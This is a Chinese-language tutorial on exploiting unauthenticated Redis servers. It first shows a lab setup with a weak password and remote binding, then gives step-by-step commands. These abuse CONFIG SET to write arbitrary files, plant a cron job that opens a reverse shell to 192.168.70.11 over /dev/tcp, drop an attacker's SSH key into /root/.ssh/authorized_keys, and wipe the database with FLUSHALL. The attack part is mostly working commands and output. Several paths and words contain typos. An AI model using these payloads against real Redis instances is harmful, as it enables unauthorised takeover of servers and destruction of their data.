未授权访问漏洞
前言
这类问题覆盖的应用、利用方式较广,因此只举例频次较高的漏洞。
一、Redis
Redis是一个开源的使用ANSI C语言编写、支持网绍、可基于内存亦可持久化的日志型、Key-Value数据库。
1.Ubuntu中搭建Redis服务器
安装
sudo apt-get install redis-server
安装完成后,Redis服务器会自动启动,我们检查Redis服务器程序
检查Redis服务器系统进程
ps -aux|grep redis
通过启动命令检查Redis服务器状态
netstat -nlt|grep 6379
sudo /etc/init.d/redis-server status
通过命令行客户端访问Redis
安装Redis服务器,会自动地一起安装Redis命令行客户端程序。
在本机输入redis-cli命令就可以启动,客户端程序访问Redis服务器。
redis-cli
查看所有的key列表
keys *
测试存储数据
set root hello-redis
get root
修改Redis的配置
使用Redis的访问账号
默认情况下,访问Redis服务器是不需要密码的,为了增加安全性我们需要设置Redis服务器的访问密码。设置访问密码为root。
用vi打开Redis服务器的配置文件redis.conf
sudo vi /etc/redis/redis.conf
#取消注释requirepass
requirepass root
让Redis服务器被远程访问
默认情况下,Redis服务器不允许远程访问,只允许本机访问,所以我们需要设置打开远程访问的功能。
用vi打开Redis服务器的配置文件redis.conf
sudo vi /etc/redis/redis.conf
#注释bind
#bind 127.0.0.1
修改后,重启Redis服务器
sudo /etc/init.d/redis-server restart
未使用密码登陆Redis服务器
redis-cli
keys *
发现可以登陆,但无法执行命令了
登陆Redis服务器,输入密码
redis-cli -a root
登陆后,一切正常
我们检查Redis的网络监听端口
检查Redis服务器占用端口
netstat -nlt|grep 6379
我们看到网络监听从之前的 127.0.0.1:6379 变成 0 0.0.0.0:6379,表示Redis已经允许远程登陆访问
2.Kall下redis-cli的安装
下载redis-cli
wget http://download.redis.io/redis-stable.tar.gz
ls
解压缩
tar -zxvf redis-stable.tar.gz
简易配置
cd redis-stable
make //全局生效
cp src/redis-cli /usr/bin/
查看redis-cli的使用说明
redis-cli -h
常规连接指令
redis-cli -h 目标主机IP地址 -p 端口号
3.写入文件
Config Get 命令用于获取 redis 服务的配置参数
CONFIG GET dir
Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启
config set dir /tmp/
SET 命令用于设置给定 key 的值
如果 key 已经存储其他值, SET 就覆写旧值,且无视类型
set foobar "who are you? Rvn0xsy"
CONFIG GET dbfilename
CONFIG SET dbfilename write_file.log
保存
save
4.反弹shell - Linux
127.0.0.1:6379> set shell "\n* * * * * bash -i >& /dev/tcp/192.168.70.11/88 0>&1\n"
OK
127.0.0.1:6379> config set dir /var /spool/cron/
OK
127.0.0.1:6379>config set dbfilename root
OK
127.0.0.1:6379>save
[238]28 May 16∶29∶53.276 * DB saved on disk
OK
5.写入公钥
生成公钥:
$ ssh-keygen -t rsa
127.0.0.1:6379> config set dir /root/ .ssh/
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> set x " \n\n\nssh-rsa XXXXXX root@kali\n\n\n"
OK
127.0.0.1:6379>save
OK
6.清空数据库
192.168.70.144:6379> FLUSHALL